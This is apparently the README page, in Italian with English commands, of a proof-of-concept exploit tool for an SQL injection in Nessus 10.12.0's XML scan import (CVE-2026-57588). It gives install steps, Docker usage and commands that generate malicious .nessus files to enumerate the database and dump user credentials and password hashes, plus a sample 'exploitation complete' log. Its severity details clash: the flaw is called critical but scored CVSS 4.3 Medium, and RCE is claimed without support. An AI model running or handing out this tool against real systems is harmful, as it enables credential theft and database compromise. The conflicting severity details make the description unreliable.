PoC per CVE-2026-57588 - SQL injection nell'importazione XML di Nessus 10.12.0. Genera file .nessus dannosi per enumerare database, esfiltrare credenziali e testare l'iniezione cieca basata sul tempo. Per ricerche di sicurezza autorizzate. Autore: Sudeepa Wanigarathna. Corretto nella versione 10.12.1.
CVE-2026-57588 è una vulnerabilità critica di iniezione SQL scoperta in Tenable Nessus versioni 10.12.0 e precedenti. La vulnerabilità risiede nel meccanismo di parsing XML durante l'importazione dei file di risultati di scansione .nessus, consentendo agli utenti autenticati con privilegi di importazione di eseguire query SQL arbitrarie sul database PostgreSQL sottostante.
| Proprietà | Valore |
|---|---|
| ID CVE | CVE-2026-57588 |
| Tipo di vulnerabilità | Iniezione SQL |
| Prodotti interessati | Tenable Nessus 10.12.0 e precedenti |
| Versione corretta | Nessus 10.12.1 e successive |
| Punteggio CVSS | 4.3 (Medio) |
| Vettore di attacco | Rete |
| Complessità dell'attacco | Bassa |
| Privilegi richiesti | Autenticato (permessi di importazione) |
| Interazione utente | Richiesta (ingegneria sociale) |
| Impatto | Esfiltrazione di dati, RCE |
La vulnerabilità è dovuta a una sanificazione insufficiente dei valori dei tag XML prima che vengano incorporati nelle query SQL durante il processo di importazione. Un attore malintenzionato può creare un file .nessus contenente payload di iniezione SQL appositamente costruiti in tag XML come:
hostnamefqdnossystem-typemac-addressnetbios-nameQuando un utente privilegiato importa il file dannoso, i valori non sanificati vengono eseguiti sul database PostgreSQL, consentendo:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Build the Docker image
docker build -t nessus-exploit .
# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
# Install as a package
pip install -e .
# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum
# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum
# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Show general help
python3 exploit.py --help
# Show generate command help
python3 exploit.py generate --help
# List all available payloads
python3 exploit.py list
python3 exploit.py generate -u https://test.com -p enum
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status